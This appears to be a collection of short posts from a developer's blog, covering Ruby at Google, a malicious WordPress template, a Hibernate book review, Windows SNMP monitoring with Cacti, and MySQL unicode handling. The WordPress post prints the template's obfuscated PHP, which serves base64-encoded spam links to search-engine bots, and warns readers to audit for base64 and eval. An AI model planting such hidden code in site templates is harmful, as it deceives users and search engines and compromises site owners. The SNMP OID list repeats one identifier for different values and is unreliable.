Here comes a nice quote from the latest Steve Yegge post (read it entirely if you have the time, it’s both fun and educational - at least for me). So, there:

I made the famously, horribly, career-shatteringly bad mistake of trying to use Ruby at Google, for this project. And I became, very quickly, I mean almost overnight, the Most Hated Person At Google. And, uh, and I’d have arguments with people about it, and they’d be like Nooooooo, WHAT IF… And ultimately, you know, ultimately they actually convinced me that they were right, in the sense that there actually were a few things. There were some taxes that I was imposing on the systems people, where they were gonna have to have some maintenance issues that they wouldn’t have. [...] But, you know, Google’s all about getting stuff done.

[...]

Is it allowed at Google to use Lisp and other languages?

No. No, it’s not OK. At Google you can use C++, Java, Python, JavaScript… I actually found a legal loophole and used server-side JavaScript for a project.

Mmmmm … key ?

Do not install a Wordpress template without performing at least a cursory security audit. Let me remind you that the view layer in Wordpress is just another PHP script with full power to do anything a PHP script can do on your server. This is what the template I’ve downloaded contained embedded in multiple source files (sidebar, archive, etc.):

if(strstr($_SERVER['HTTP_USER_AGENT'],base64_decode(’Ym90′))){echo base64_decode(
‘PGEgaHJlZj1cImh0dHA6Ly93d3cuYmVzdGZyZWVzY3JlZW5zYXZlci5jb21cIiBjbGFzcz1cInNw
YWNpbmctZml4XCI+RnJlZSBDZWxlYnJpdHkgU2NyZWVuc2F2ZXJzPC9hPjxhIGhyZWY9XCJodHRw
Oi8vd3d3LnNrb29ieS5jb21cIiBjbGFzcz1cInNwYWNpbmctZml4XCI+RnJlZSBPbmxpbmUgR2Ft
ZXM8L2E+’);}

Basically, this means that any UserAgent containing the word “bot” (thus, all the mainstream search engine bots/site crawlers) will see a couple of spammy links on all the pages of the blog. Obviously it could have been much worse, as one can reveal the database access coordinates and other server-related dangerous things when a blackhat bot identified by a specially crafted UserAgent text is scanning the blog. The simplest form of audit one can do is to search for base64 and eval functions in the PHP source code as these are generally used to disguise malware.

Hibernate is the perfect example of a successful Java open-source project. Initially started as a free alternative to commercial object-relational mapping tools, it quickly became mainstream. Lots of Java developers around the world use Hibernate for the data layer inside their projects. It’s very comfortable, just set some attributes or ask for a business object instance and Hibernate does all the ugly SQL for you. As a developer, you are then comfortably protected from that nasty relational database, and gently swim in a sea of nicely bound objects. Right ? No, not exactly. Each object-relationship mapping tool has its own ways of being handled efficiently, and this is where books like “Java persistence with Hibernate” come into play. This book teaches you how to work with Hibernate, with a “real-world” example: the Caveat-Emptor online auction application.

Since the first edition of the book was written, lots of things happened in the Hibernate world and you can see their impact in “Java persistence with Hibernate”. Most important is the release of the 3.x version line and its different ameliorations and new features: code annotations used as mapping descriptors, package naming reorganization inside the API, but most important the standardization under the umbrella of JPA (Java Persistence API) for a smooth integration with EJB 3 inside Java EE 5 servers. And this, is a little bit funny. Yesterday, Hibernate was the main proof that it is possible to make industrial-quality projects within a “J2EE-less” environment, today Hibernate has put a suit and a tie, joined the ranks of Jboss, then Redhat, and it lures the unsuspecting Java developers towards the wonderful and (sometimes) expensive world of Java EE 5 application servers. Which is not necessarily a bad move for the Hibernate API, but it’s a proof that in order to thrive as an open-source project, you need so much more than the Sourceforge account and some passion …

Enough with that, let’s take a look at the book content. Some 75% if it is in fact the content of the first edition, updated and completed. You learn what object-relational mapping is, the advantages, the quirks, the recommended way of developing with Hibernate. For a better understanding, single chapters from the initial book were expanded into 2, sometimes more, chapters. The “unit of work” is now called “a conversation” and you’ve got a whole new chapter (11) about conversations, which is in fact pretty good stuff about session and transaction management. Christian and Gavin done some great writing about concurrency and isolation in the relatively small 10-th chapter - which is a must read even if you’re not interested in Hibernate, but you want to understand once and for all what are these concurrent transaction behaviors everyone is talking about. The entire 13th chapter is dedicated to fetching strategy and caching, which is a must read if you want performance and optimization from your application. There is also a good deal of EJB, JPA and EE 5 - related stuff scattered in multiple chapters. And finally, a solid 50-pages chapter is pimping the JSF (Java Server Faces) compliant web development framework, Jboss Seam. I have only managed to read a few pages of this final chapter, so cannot really comment. Note to self: play a little bit with that Seam thing.

To conclude, is this a fun book ? No. Is this a perfect book to convert young open-source fanatics to the wonders of Hibernate API ? Nope. Is this a book to read cover to cover during a weekend ? Not even close. Then, what is this ? First, it’s the best book out there about Hibernate (and there are quite a few on the market right now), maybe even the best book about ORM in Java, in general. It has lots of references to EJB, JPA and EE, it will help you to easily sell a Hibernate project to the management. Even if the final implementation uses Spring … And finally, it’s the best Hibernate reference money can buy. When you have an issue, open the darn index and search, there are 90% chances your problem will be solved. And that’s a nice accomplishment. Don’t get this book because it’s funny, because it’s a nice read, about a new innovative open-source project. Buy it because it helps you grok ORM, write better code, deliver quality projects.

It is less known, but yes you can have SNMP support out of the box with Windows 2000 and XP, and it doesn’t need to be the Server flavor [obiously it works the same in 2003 Server]:

1. Invoke the Control Panel.
2. Double click the Add/Remove Programs icon.
3. Select Add/Remove Windows Components. The Windows Component Wizard is displayed.
4. Check the Management and Monitoring Tools box.
5. Click the Details button.
6. Check the Simple Network Management Protocol box and click OK, then Next. You may have to reboot the machine.

1. Invoke the Control Panel.
2. Double click the Administrative Tools icon.
3. Double click the Services icon.
4. Select SNMP Service.
5. Choose the Security tab.
6. Add whatever community name is used in your network. Chances are in a local internal LAN the default public works out of the box.
7. For a sensitive server, you may want to fiddle a little bit with the IP restriction settings, for instance allowing SNMP communication only with the monitoring machine.
8. Click OK then restart the service.

Next step is Cacti integration. Unfortunately, there is no Windows-specific profile for devices in Cacti. Therefore if you have lots of Windows machines, you’ll have to define your own. Or, take a Generic SNMP-enabled host and use it as a scaffold for each device configuration.

Out of the graphs and datasources already defined in Cacti [I am using 0.8.6c] only two work with Windows SNMP agents: processes and interface traffic values.

• .1.3.6.1.2.1.25.2.3.1.5.6 - Total physical memory
• .1.3.6.1.2.1.25.2.3.1.6.6 - Used physical memory
• .1.3.6.1.2.1.25.2.3.1.6.6 - Total virtual memory ["virtual"="swap" in Windows lingo]
• .1.3.6.1.2.1.25.2.3.1.6.6 - Used virtual memory

Here’s a neat memory chart for a windows machine. Notice that the values are in “blocks” which in my case is 64kb. The total physical memory is 4GB.

• start by adding the default-character-set=utf8 in your MySQL configuration file and restart the database server
• apply this recipe from Activestate Python Cookbook (”guaranteed conversion to unicode or byte string”)
• inside the Cheetah template, use the ReplaceNone filter:


#filter ReplaceNone
${myUnicodeString}
#end filter

in order to prevent escaping non-ASCII characters.

Now. That’s better.